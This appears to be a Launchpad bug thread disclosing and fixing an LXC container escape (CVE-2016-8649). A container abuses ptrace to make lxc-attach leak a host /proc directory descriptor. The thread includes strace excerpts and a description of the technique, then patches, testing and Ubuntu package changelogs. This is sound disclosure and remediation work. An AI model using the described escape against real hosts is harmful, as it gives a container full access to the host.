lxc-attach to malicious container allows access to host

Exploit code for stealing of fixed fd=7 directory fd still held open by lxc-attach when entering the guest namespace.

Thanks for the report, Roman. I've subscribed the LXC maintainers so that they can have a look and comment.

Thanks for the report.

As you mentioned LXC 2.0 is now using an intermediate PTS pair to avoid attacks against the host TTY. We're also meant to be using our own copy of proc during attach, but apparently have missed a couple of places.

It's certainly our goal that lxc-attach shouldn't rely on any information coming from inside the container as that can be indeed modified by the user to attack a root process attaching to the container.

As for the kernel side of this, I believe Eric Biederman is aware of this particular problem and looking into options to restrict ptrace of processes crossing userns boundaries.

A workaround we're now considering for the ptrace issue is to have attach() call ptrace on itself, therefore preventing any other program from ptracing it (since you can't ptrace something that's being ptraced).

I've been working on the ptrace fix and so far I haven't found a non-racy version of this. Even in the case where it blocks the ptrace from inside the container we end up in interruptible sleep and hang forever on waitpid().

Hi Roman, can you please explain the details of your exploit in more detail; e.g. how you were preparing fd=7. The ptrace part is reproducible but I'm not sure that we can reliably prevent this without fixing this in the kernel. The second part, opening a prepared fd I can't seem to reproduce but maybe I'm just missing some crucial details. It would be good if you could outline the exact steps needed to reproduce this issue.

I was chatting with Eric yesterday and he mentioned this patch in his next branch which may address the ptrace issue from the kernel point of view (which would make this a kernel security issue):

https://git.kernel.org/cgit/linux/kernel/git/ebiederm/user-namespace.git/commit/?h=for-next&id=2e41414828bb0b066bde2f156cfa848c38531edf

It'd be good if someone could build a kernel with this patch applied and see if this resolves the ptrace issue.

@Christian Brauner (comment #7):

> can you please explain the details of your exploit in more detail; e.g. how you were preparing fd=7.

The fd=7 is just the directory-fd pointing to /proc/[pid] on the HOST. It seems that lxc-attach keeps it open to access the host side /proc/[pid] resources even after setns().

If you do a "strace -s256 -f screen lxc-attch -n name" (without your self-ptrace patch), you can find following calls:

# This is still in initns, here the fd=7 is created. The number might be different for SSH logins, screen session, bash vs other shell ....
[pid 1712] open("/proc", O_RDONLY|O_DIRECTORY) = 7
... immediately afterwards
[pid 1712] open("/proc/1632/ns/user", O_RDONLY|O_CLOEXEC) = 9
[pid 1712] open("/proc/1632/ns/mnt", O_RDONLY|O_CLOEXEC) = 10
...
# now use the ns-fds, thus changing the root to reside in container
[pid 1712] setns(9, 0) = 0
[pid 1712] close(9) = 0
[pid 1712] setns(10, 0) = 0
...
# later on after changing to guest-ns uid=0, the fd is used.
[pid 1713] openat(7, "self/attr/current", O_RDWR) = 8
[pid 1713] write(8, "changeprofile lxc-container-default-cgns\0", 41) = 41

The ptrace part just makes lxc-attach close the wrong file descriptor (not 7) before executing the guest command (/bin/sh), thus giving access to the open fd=7 via guest proc filesystem.

A full, failsafe exploit should try to infere the correct fd-number to search for or use the fixed stack offsets, they seem to be quite reliable.

Ok, so for the second part, preventing the /proc attack. We need the procfd to the host's namespace so that we can set the lsm label later on in attach_child_main(). The obvious solution that we've shortly discussed at Plumbers is to mount a fresh proc in a new mount and pid namespace. However, we cannot simply unshare(CLONE_NEWNS|CLONE_NEWPID) and then umount /proc since we then are not really part of the pid namespace and that leads to all sorts of complications. You can try that out with

unshare -Ump --mount-proc -- sh

mounting a fresh /proc seems to only work correctly if you fork()/clone() first. That's why I suspect that the cleanest solution is to create a minimal namespace (similar to the lxcfs solution), mount /proc in there and then open an fd to that. In essence, this would mean that we would have to lxc_clone(chroot_us_and_clone_again, ..., CLONE_PARENT) in and chroot us, and then call lxc_clone(attach_child_main, &payload, CLONE_PARENT) within chroot_us_and_clone_again() to exec the actual process we want to run in the container. We would effectively create an additional 4th process in attach. This *could* work: Due to CLONE_PARENT both processes should have the same parent and we should be able to selectively wait on our chroot_us_and_clone_again() child in lxc_attach() while handing back the PID of the exec'ing process back to our caller. So that when someone straces us and finds a way to escape to the namespace of lxc_attach() he would effectively find himself safely chrooted.

OK, but sounds complicated.

I'm not sure if that could work, but what about...

* Create a helper mount namespace from init-ns where everything needed after setns(guestns) is bind-mounted and where everything else is unmounted. Not sure if chroot/pivot_root would be needed here to cleanup.
* Open a directory fd to the root of this helper mountns
* Enter the final user/mount ns as implemented now. This should work even when guest-ns is not parent of helper-ns as process is privileged in init-ns (not 100% sure about that). The helper-ns would not be the mount ns of any living process any more and should be purged, when the directory fd is closed.
* After entering the guestns process has only limited means to modify the content in the helper-ns as it does not live in the parent-ns of the helper-ns.

Could that be a generic concept to get around the sequence of clone() calls?

Maybe, but what I was worried about with this solution is that you still have /proc mounted and a process that escapes to the helper NS could then access restricted information from the init PIDNS by e.g. parsing /proc via readdir(). It's possible that I'm overthinking this though.

Well, I would not keep the whole /proc open but only the /proc/[pid] and perhaps single files from other /proc parts if needed. Then only problematic parts are root, exec, cwd, ... but after chroot those should be the same as inside the guest?

The problem is that we don't know the PID of the attached process
beforehand, so we need to keep an fd for a clean /proc open and then
do open(/proc/self/attrc/current) and so on.

Damn, that is bad. I missed this one.

Other idea: the control process stays outside the setns() and knows the PID of the child, right? Could that process open the file and send the content as message via the shared command socket? Seems less intrusive to me than adding more clone()s in the chain from control process to guest process?

Hm, maybe even easier: Use IPC for the child to tell us, "set up the LSM label", then parent tells the child "LSM labels setup" and then exec the attached process. I have a patch and I'll append it here because it needs to be private. Would be great if you'd test it, Roman. :)

Eric's patch which Stéphane mentioned fixes the ptrace attack vector for me. The userspace part of stealing the /proc fd referring to /proc on the host is hopefully fixed by my patch.

Kernel to test with Eric's patch can be found here: http://people.canonical.com/~sforshee/for-brauner/

Fwiw, the patch to liblxc I posted should be sufficient to prevent the attack. I tested this on a kernel without the ptrace fix and it seems you won't be able to escape to the host without the proc fd anymore. Waiting on Roman to confirm this.

Security team: Please assign a CVE for LXC. And please review suggested fix.
Kernel team: Please track upstream ptrace fix (will probably be worth a separate kernel CVE).

Christian: We'll need a few versions of the patch, against:
 - stable-1.0 branch
 - stable-2.0 branch (likely cherry-picks cleanly)
 - current git master (which I'm assuming is the above)

Please also do a full testsuite run on all 3 of those and confirm that there's no detected regressions.

Once we all agree the suggested fix is good for this issue and we have fixes for all supported LXC releases, we can agree on a CRD and prepare packages + upstream branches for this.

Ok, the fix is not yet complete since you can't change aa profile for another process. It has to do it by itself which brings the procfd passing around back into play.

I was to optimistic about the userspace fix. The fix alone might minimize the attack surface but unfortunately we seem to need the kernel fix. The child we attach in lxc-attach wants to change its LSM label appropriately right before exec() and for that it needs an fd to /proc/self/attr/current. So we seem to always have such an fd around. But what we can do is instead of passing an fd to /proc itself around, is to open up an fd to /proc/self/attr/current in the parent and send it to the child. This might minimize the attack surface but we still need the kernel fix. I post an updated version of the patch I sent before here and I'll keep thinking a little more on how we can avoid having to pass any procfd around. But I doubt it. The more complex solution I outlined above, involving a second lxc_clone() which serves as a simple chrooting process to place is into a isolated set of namespaces is an additional attack surface minimizer. @Stéphane, do you think it be worth adding another process that chroots/minimally namspaces us before attaching to the childs namespaces?

Here's the outline of the current patch:
    So far, we opened a file descriptor refering to proc on the host inside the
    host namespace and handed that fd to the attached process in
    attach_child_main(). This was done to ensure that LSM labels were correctly
    setup. However, by exploiting a potential kernel bug, ptrace could be used to
    prevent the file descriptor from being closed which in turn could be used by an
    unprivileged container to gain access to the host namespace. Aside from this
    needing an upstream kernel fix, we should make sure that we don't pass the fd
    for proc itself to the attached process. However, we cannot completely prevent
    this, as the attached process needs to be able to change its apparmor profile
    by writing to /proc/self/attr/exec or /proc/self/attr/current. To minimize the
    attack surface, we only send the fd for /proc/self/attr/exec or
    /proc/self/attr/current to the attached process. To do this we introduce a
    little more IPC between the child and parent:

             * IPC mechanism: (X is receiver)
             * initial process intermediate attached
             * X <--- send pid of
             * attached proc,
             * then exit
             * send 0 ------------------------------------> X
             * [do initialization]
             * X <------------------------------------ send 1
             * [add to cgroup, ...]
             * send 2 ------------------------------------> X
             * [set LXC_ATTACH_NO_NEW_PRIVS]
             * X <------------------------------------ send 3
             * [open LSM label fd]
             * send 4 ------------------------------------> X
             * [set LSM label]
             * close socket close socket
             * ...

The kernel patch looks good to me, and I have done a first pass through the patch from comment 23 and didn't see anything of note there.

This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed-trusty' to 'verification-done-trusty'.

If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed.

See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you!

@brauner: Can you attach patches for stable-1.0, stable-2.0 and current master?

@brauner: Can you also let Eric know that his patch does in fact seem to fix this security issue? That should motivate him in getting it pushed to stable sooner.

Tested with Trusty kernel

pool/main/l/linux/linux-image-3.13.0-102-generic_3.13.0-102.149_amd64.deb

from proposed but on Xenial test machine. Tool now aborts with

"Attach failed"

no matter what is set in /proc/sys/kernel/yama/ptrace_scope on host.

Not sure if that Trusty/Xenial cross-release check is sufficient for verification.

The Xenial kernel from proposed does not fix the issues yet (wasn't claimed in the discussion anyway)

@Roman: The other kernels (vivid, xenial, and yakkety) have builds with the fix in the canonical-kernel-team PPA but those builds haven't yet been copied to -proposed yet. You will see similar "This bug is awaiting verification ..." for each kernel as it reaches -proposed.

On 11/09/2016 01:36 AM, Stéphane Graber wrote:
> Security team: Please assign a CVE for LXC. And please review suggested fix.

I think I've spotted one minor problem with the suggested fix. In
attach_child_main(), shutdown(ipc_socket, SHUT_RDWR) is not called when
lxc_seccomp_load() fails.

As for the CVE assignment for LXC, the Ubuntu Security Team is not
assigning CVEs at this time. Once we settle on a preferred CRD, I can
notify the linux-distros list about this issue and request a CVE at that
time.

Attached is a new version of the patch that adds the missing shutdown(ipc_socket, SHUT_RDWR) call that Tyler was pointing out.

Ok, so on the topic of CVE assignation, I've been going back and forth on this throughout the day.

Ultimately the security issue is with the kernel and Eric's patch fixes that, that in my mind is the real CVE worthy issue here.

On the LXC side of things, the current implementation of procfd allows an attacker to get a dirfd to the host's /proc which then allows escaping to the host's filesystem and ultimately completely escaping from the container.

Christian's fix restricts that exposure to just the apparmor label switching interface, making it still possible for an attacker in the container to alter the apparmor profile of the joining task.
That's still a security problem, but much less worse than a privileged escalation (in the case of a privileged attach process) and full container escape.

So as it stands, I think we'll want a CVE for the LXC side of this as even without the related kernel fix, the proposed fix does make things massively better by turning a privilege escalation + container escape issue into "just" an apparmor bypass issue.

As far as CRD, assuming we're all happy with the proposed fix. Anytime next week would be fine with me. If that's not an option, then the 1st or 2nd of December would work too.

I'm going to be mostly unavailable between the 28th and 30th and then again between the 5th and 9th so would rather avoid those days.

As usual, the plan will be for upstream LXC to push out security releases for the two supported branches as well as handle the announcement. So I'll be tagging LXC 1.0.9 and LXC 2.0.6 containing only this one fix on top of the latest stable release (1.0.8 and 2.0.5 respectively).

For Ubuntu, that means:
 - precise-backports: update to 1.0.9
 - trusty: update to 1.0.9
 - xenial: update to 2.0.6
 - yakkety: update to 2.0.6
 - zesty: update to 2.0.6

Once we've had a few more eyes on the proposed patch and have a CRD set in stone, I'll push all of the above in the private LXC security PPA, then on the CRD, the security team (or I) can just copy all of that stuff in the archive.

Oh, forgot trusty-backports in the list above, that'll be a backport of 2.0.6.

On the kernel side there was previously a CVE assigned for the ptrace issue - CVE-2015-8709. That restricted ptrace if the real, effective, and saved uids and gids of the process were not mapped into the ptracing process's user ns, but that doesn't forbid ptrace under the circumstances here.

We've applied Eric's patch as the "upstream replacement" to the sauce patch we've been carrying, and it's included in the current SRU cycle, which is due to be released to -updates on Nov 28 if there are no problems.

Patch looks good to me, thanks.

This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed-vivid' to 'verification-done-vivid'.

If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed.

See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you!

This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed-xenial' to 'verification-done-xenial'.

If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed.

See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you!

This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed-yakkety' to 'verification-done-yakkety'.

If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed.

See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you!

> On the kernel side there was previously a CVE assigned for the ptrace issue - CVE-2015-8709. That restricted ptrace if the real, effective, and saved uids and gids of the process were not mapped into the ptracing process's user ns, but that doesn't forbid ptrace under the circumstances here.

Isn't that subverting the idea behind CVEs? It seems Redhat is already patched against that vulnerability:

https://bugzilla.redhat.com/show_bug.cgi?id=1295287

Fedora Update System 2016-02-01 01:23:43 EST
kernel-4.3.4-200.fc22 has been pushed to the Fedora 22 stable repository. If problems still persist, please make note of it in this bug report.

So basically they would have to reopen the issue and patch the same vuln again, although first patch was complete?

Or should we just accept that and wait for the first system to appear that is patched for CVE-2015-8709-A and not for CVE-2015-8709-B and then split the old entry into two?

On 11/15/2016 04:59 PM, Seth Forshee wrote:
> On the kernel side there was previously a CVE assigned for the ptrace
> issue - CVE-2015-8709. That restricted ptrace if the real, effective,
> and saved uids and gids of the process were not mapped into the ptracing
> process's user ns, but that doesn't forbid ptrace under the
> circumstances here.

Please don't reuse that CVE ID for this issue. It is clearly a different
issue and reusing the CVE ID will only confuse everyone.

Also my opinion. I just was wondering, because with that note, I was citing, also the CVE-2015-8709 reference seems to be added to this issue. I interpreted that as an attemt to reuse. If not, so why reference it, when it does not have something to do with it? For citing similar issues, should reference in note not be sufficient (Perhaps default behaviour of Launchpad software, would it add CVE-1970-0001 when just naming it?)

On Wed, Nov 16, 2016 at 04:06:26PM -0000, Tyler Hicks wrote:
> On 11/15/2016 04:59 PM, Seth Forshee wrote:
> > On the kernel side there was previously a CVE assigned for the ptrace
> > issue - CVE-2015-8709. That restricted ptrace if the real, effective,
> > and saved uids and gids of the process were not mapped into the ptracing
> > process's user ns, but that doesn't forbid ptrace under the
> > circumstances here.
>
> Please don't reuse that CVE ID for this issue. It is clearly a different
> issue and reusing the CVE ID will only confuse everyone.

Sorry, I didn't really say what I meant to say there. Let me try again.

The patch does fix CVE-2015-8709. We aren't "reusing" it. We're
replacing a sauce patch to fix that CVE with a (better) upstream patch,
which is what we normally do when an upstream fix becomes available.

You're right that the ptrace issue here is different than the one
described by that CVE. Maybe that warrants another CVE, I'm not making
claims either way about that. All I meant to say is that we've already
taken the patch from Eric as an upstream replacement for the previous
patch to fix CVE-2015-8709.

FYI, updated ptrace patchset by Eric, sent for inclusion: https://lists.linuxfoundation.org/pipermail/containers/2016-November/037647.html

On Thu, Nov 17, 2016 at 05:45:30PM -0000, Stéphane Graber wrote:
> FYI, updated ptrace patchset by Eric, sent for inclusion:
> https://lists.linuxfoundation.org/pipermail/containers/2016-November/037647.html

Note that these are follow-ups to the other patch (mm: Add a user_ns
owner to mm_struct and fix ptrace permission checks), not replacements.
As far as I can tell they address different issues than those under
discussion here.

The LXC issue of passing the procfd to the attached process has been assigned CVE-2016-8649.

@brauner: Can you provide a version of your patch for both stable-1.0 and stable-2.0 branches as they stand today (other than the CVE fix, they're ready for the point release).

LXC patch for master.

LXC patch for stable-2.0.

LXC patch for stable-1.0.

Packages for all Ubuntu releases have been uploaded to the LXC security PPA: https://launchpad.net/~ubuntu-lxc-security/+archive/ubuntu/devirt-security/+packages

I tested packages for all Ubuntu releases and they seem to work fine. I can start privileged and unprivileged containers and attach to them without any further problems. I tested this inside of proper virtual machines with low-level LXC and nesting with LXD.

I've tested the {yakkety,xenial,trusty}-{i386,amd64} packages by doing upgrade testing and also tested lxc-{create,start,ls,info,attach,stop,destroy} with privileged and unprivileged containers. All testing went as expected.

I also compared the amd64 build logs between what's currently in -updates and the binary packages built in the PPA. They're all clean.

I'll publish to {yakkety,xenial,trusty}-security on the CRD tomorrow and then publish a USN. Thanks to you all!

I've verified the ptrace fix in all -proposed kernels.

This bug was fixed in the package lxc - 1.0.8-0ubuntu0.4

---------------
lxc (1.0.8-0ubuntu0.4) trusty-security; urgency=medium

  * SECURITY UPDATE: Escape through ptrace and inherited fd (LP: #1639345)
    - attach: Do not send procfd to attached process
    - CVE-2016-8649

 -- Stéphane Graber <email address hidden> Tue, 22 Nov 2016 00:49:00 -0500

This bug was fixed in the package lxc - 2.0.5-0ubuntu1.2

---------------
lxc (2.0.5-0ubuntu1.2) yakkety-security; urgency=medium

  * SECURITY UPDATE: Escape through ptrace and inherited fd (LP: #1639345)
    - attach: Do not send procfd to attached process
    - CVE-2016-8649

 -- Stéphane Graber <email address hidden> Tue, 22 Nov 2016 00:49:00 -0500

This bug was fixed in the package lxc - 1.1.5-0ubuntu0.15.04.4

---------------
lxc (1.1.5-0ubuntu0.15.04.4) vivid-security; urgency=medium

  * SECURITY UPDATE: Escape through ptrace and inherited fd (LP: #1639345)
    - attach: Do not send procfd to attached process
    - CVE-2016-8649

 -- Stéphane Graber <email address hidden> Tue, 22 Nov 2016 00:49:00 -0500

This bug was fixed in the package lxc - 2.0.5-0ubuntu1~ubuntu16.04.3

---------------
lxc (2.0.5-0ubuntu1~ubuntu16.04.3) xenial-security; urgency=medium

  * SECURITY UPDATE: Escape through ptrace and inherited fd (LP: #1639345)
    - attach: Do not send procfd to attached process
    - CVE-2016-8649

 -- Stéphane Graber <email address hidden> Tue, 22 Nov 2016 00:49:00 -0500

This bug was fixed in the package lxc - 2.0.5-0ubuntu4

---------------
lxc (2.0.5-0ubuntu4) zesty-security; urgency=medium

  * SECURITY UPDATE: Escape through ptrace and inherited fd (LP: #1639345)
    - attach: Do not send procfd to attached process
    - CVE-2016-8649

 -- Stéphane Graber <email address hidden> Tue, 22 Nov 2016 00:49:00 -0500

This bug is missing log files that will aid in diagnosing the problem. From a terminal window please run:

apport-collect 1639345

and then change the status of the bug to 'Confirmed'.

If, due to the nature of the issue you have encountered, you are unable to run this command, please add a comment stating that fact and change the bug status to 'Confirmed'.

This change has been made by an automated script, maintained by the Ubuntu Kernel Team.

The verification of the Stable Release Update for linux-lts-trusty has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions.

This bug was fixed in the package linux - 3.13.0-103.150

---------------
linux (3.13.0-103.150) trusty; urgency=low

  [ Luis Henriques ]

  * Release Tracking Bug
    - LP: #1644489

  * Possible regression on 3.13.0-102.149~precise1 x86_64 (gce) (LP: #1644302)
    - SAUCE: apparmor: delete extra variable dev_path

linux (3.13.0-102.149) trusty; urgency=low

  [ Luis Henriques ]

  * Release Tracking Bug
    - LP: #1640581

  * lxc-attach to malicious container allows access to host (LP: #1639345)
    - Revert "UBUNTU: ptrace: being capable wrt a process requires mapped
      uids/gids"
    - (upstream) mm: Add a user_ns owner to mm_struct and fix ptrace permission
      checks

  * Syntax error extra parenthesis linux-headers-3.13.0-100/Makefile
    (LP: #1636625)
    - Makefile: fix extra parenthesis typo when CC_STACKPROTECTOR_REGULAR is
      enabled

  * Add a driver for Amazon Elastic Network Adapters (ENA) (LP: #1635721)
    - lib/bitmap.c: conversion routines to/from u32 array
    - kernel.h: define u8, s8, u32, etc. limits
    - net: ethtool: add new ETHTOOL_xLINKSETTINGS API
    - PCI/MSI: Add pci_msix_vec_count()
    - etherdevice: Use ether_addr_copy to copy an Ethernet address
    - net: ena: Add a driver for Amazon Elastic Network Adapters (ENA)
    - [config] enable CONFIG_ENA_ETHERNET=m (Amazon ENA driver)

  * CVE-2016-8658
    - brcmfmac: avoid potential stack overflow in brcmf_cfg80211_start_ap()

  * CVE-2016-7425
    - scsi: arcmsr: Buffer overflow in arcmsr_iop_message_xfer()

  * srcname from mount rule corrupted under load (LP: #1634753)
    - SAUCE: apparmor: fix sleep in critical section

  * ghash-clmulni-intel module fails to load (LP: #1633058)
    - crypto: ghash-clmulni - Fix load failure
    - crypto: cryptd - Assign statesize properly

 -- Luis Henriques <email address hidden> Thu, 24 Nov 2016 09:56:54 +0000

This bug was fixed in the package linux - 3.19.0-75.83

---------------
linux (3.19.0-75.83) vivid; urgency=low

  [ Luis Henriques ]

  * Release Tracking Bug
    - LP: #1640613

  * lxc-attach to malicious container allows access to host (LP: #1639345)
    - Revert "UBUNTU: ptrace: being capable wrt a process requires mapped
      uids/gids"
    - (upstream) mm: Add a user_ns owner to mm_struct and fix ptrace permission
      checks

  * CVE-2016-8658
    - brcmfmac: avoid potential stack overflow in brcmf_cfg80211_start_ap()

  * CVE-2016-7425
    - scsi: arcmsr: Buffer overflow in arcmsr_iop_message_xfer()

 -- Luis Henriques <email address hidden> Wed, 09 Nov 2016 22:48:56 +0000

This bug was fixed in the package linux - 4.4.0-51.72

---------------
linux (4.4.0-51.72) xenial; urgency=low

  [ Luis Henriques ]

  * Release Tracking Bug
    - LP: #1644611

  * 4.4.0-1037-snapdragon #41: kernel panic on boot (LP: #1644596)
    - Revert "dma-mapping: introduce the DMA_ATTR_NO_WARN attribute"
    - Revert "powerpc: implement the DMA_ATTR_NO_WARN attribute"
    - Revert "nvme: use the DMA_ATTR_NO_WARN attribute"

linux (4.4.0-50.71) xenial; urgency=low

  [ Luis Henriques ]

  * Release Tracking Bug
    - LP: #1644169

  * xenial 4.4.0-49.70 kernel breaks LXD userspace (LP: #1644165)
    - Revert "UBUNTU: SAUCE: (namespace) fuse: Allow user namespace mounts by
      default"
    - Revert "UBUNTU: SAUCE: (namespace) fs: Don't remove suid for CAP_FSETID for
      userns root"
    - Revert "(namespace) Revert "UBUNTU: SAUCE: fs: Don't remove suid for
      CAP_FSETID in s_user_ns""
    - Revert "UBUNTU: SAUCE: (namespace) fs: Allow superblock owner to change
      ownership of inodes"
    - Revert "(namespace) Revert "UBUNTU: SAUCE: fs: Allow superblock owner to
      change ownership of inodes with unmappable ids""
    - Revert "UBUNTU: SAUCE: (namespace) security/integrity: Harden against
      malformed xattrs"
    - Revert "(namespace) Revert "UBUNTU: SAUCE: ima/evm: Allow root in s_user_ns
      to set xattrs""
    - Revert "(namespace) dquot: For now explicitly don't support filesystems
      outside of init_user_ns"
    - Revert "(namespace) quota: Handle quota data stored in s_user_ns in
      quota_setxquota"
    - Revert "(namespace) quota: Ensure qids map to the filesystem"
    - Revert "(namespace) Revert "UBUNTU: SAUCE: quota: Convert ids relative to
      s_user_ns""
    - Revert "(namespace) Revert "UBUNTU: SAUCE: quota: Require that qids passed
      to dqget() be valid and map into s_user_ns""
    - Revert "(namespace) vfs: Don't create inodes with a uid or gid unknown to
      the vfs"
    - Revert "(namespace) vfs: Don't modify inodes with a uid or gid unknown to
      the vfs"
    - Revert "UBUNTU: SAUCE: (namespace) fuse: Translate ids in posix acl xattrs"
    - Revert "UBUNTU: SAUCE: (namespace) posix_acl: Export
      posix_acl_fix_xattr_userns() to modules"
    - Revert "(namespace) vfs: Verify acls are valid within superblock's
      s_user_ns."
    - Revert "(namespace) Revert "UBUNTU: SAUCE: fs: Update posix_acl support to
      handle user namespace mounts""
    - Revert "(namespace) fs: Refuse uid/gid changes which don't map into
      s_user_ns"
    - Revert "(namespace) Revert "UBUNTU: SAUCE: fs: Refuse uid/gid changes which
      don't map into s_user_ns""
    - Revert "(namespace) mnt: Move the FS_USERNS_MOUNT check into sget_userns"

linux (4.4.0-49.70) xenial; urgency=low

  [ Luis Henriques ]

  * Release Tracking Bug
    - LP: #1640921

  * Infiniband driver (kernel module) needed for Azure (LP: #1641139)
    - SAUCE: RDMA Infiniband for Windows Azure
    - [Config] CONFIG_HYPERV_INFINIBAND_ND=m
    - SAUCE: Makefile RDMA infiniband driver for Windows Azure
    - [Config] Add hv_network_direct.ko to generic inclusion list
    - SAUCE: RDMA Infiniband for Windows Azure is dependent on amd64...

This bug was fixed in the package linux - 4.8.0-28.30

---------------
linux (4.8.0-28.30) yakkety; urgency=low

  [ Luis Henriques ]

  * Release Tracking Bug
    - LP: #1641083

  * lxc-attach to malicious container allows access to host (LP: #1639345)
    - Revert "UBUNTU: SAUCE: (noup) ptrace: being capable wrt a process requires
      mapped uids/gids"
    - (upstream) mm: Add a user_ns owner to mm_struct and fix ptrace permission
      checks

  * [Feature] AVX-512 new instruction sets (avx512_4vnniw, avx512_4fmaps)
    (LP: #1637526)
    - x86/cpufeature: Add AVX512_4VNNIW and AVX512_4FMAPS features

  * zfs: importing zpool with vdev on zvol hangs kernel (LP: #1636517)
    - SAUCE: (noup) Update zfs to 0.6.5.8-0ubuntu4.1

  * Move some device drivers build from kernel built-in to modules
    (LP: #1637303)
    - [Config] CONFIG_TIGON3=m for all arches
    - [Config] CONFIG_VIRTIO_BLK=m, CONFIG_VIRTIO_NET=m

  * I2C touchpad does not work on AMD platform (LP: #1612006)
    - pinctrl/amd: Configure GPIO register using BIOS settings

  * guest experiencing Transmit Timeouts on CX4 (LP: #1636330)
    - powerpc/64: Re-fix race condition between going idle and entering guest
    - powerpc/64: Fix race condition in setting lock bit in idle/wakeup code

  * QEMU throws failure msg while booting guest with SRIOV VF (LP: #1630554)
    - KVM: PPC: Always select KVM_VFIO, plus Makefile cleanup

  * [Feature] KBL - New device ID for Kabypoint(KbP) (LP: #1591618)
    - SAUCE: mfd: lpss: Fix Intel Kaby Lake PCH-H properties

  * hio: SSD data corruption under stress test (LP: #1638700)
    - SAUCE: hio: set bi_error field to signal an I/O error on a BIO
    - SAUCE: hio: splitting bio in the entry of .make_request_fn

  * cleanup primary tree for linux-hwe layering issues (LP: #1637473)
    - [Config] switch Vcs-Git: to yakkety repository
    - [Packaging] handle both linux-lts* and linux-hwe* as backports
    - [Config] linux-tools-common and linux-cloud-tools-common are one per series
    - [Config] linux-source-* is in the primary linux namespace
    - [Config] linux-tools -- always suggest the base package

  * SRU: sync zfsutils-linux and spl-linux changes to linux (LP: #1635656)
    - SAUCE: (noup) Update spl to 0.6.5.8-2, zfs to 0.6.5.8-0ubuntu4 (LP:
      #1635656)

  * [Feature] SKX: perf uncore PMU support (LP: #1591810)
    - perf/x86/intel/uncore: Add Skylake server uncore support
    - perf/x86/intel/uncore: Remove hard-coded implementation for Node ID mapping
      location
    - perf/x86/intel/uncore: Handle non-standard counter offset

  * [Feature] Purley: Memory Protection Keys (LP: #1591804)
    - x86/pkeys: Add fault handling for PF_PK page fault bit
    - mm: Implement new pkey_mprotect() system call
    - x86/pkeys: Make mprotect_key() mask off additional vm_flags
    - x86/pkeys: Allocation/free syscalls
    - x86: Wire up protection keys system calls
    - generic syscalls: Wire up memory protection keys syscalls
    - pkeys: Add details of system call use to Documentation/
    - x86/pkeys: Default to a restrictive init PKRU
    - x86/pkeys: Allow configuration of init_pkru
    - x86/pkeys: Add self-tests

  * kernel invalid ...

This bug was fixed in the package linux - 4.8.0-30.32

---------------
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
    - packet: fix race condition in packet_set_ring

 -- Brad Figg <email address hidden> Thu, 01 Dec 2016 08:02:53 -0800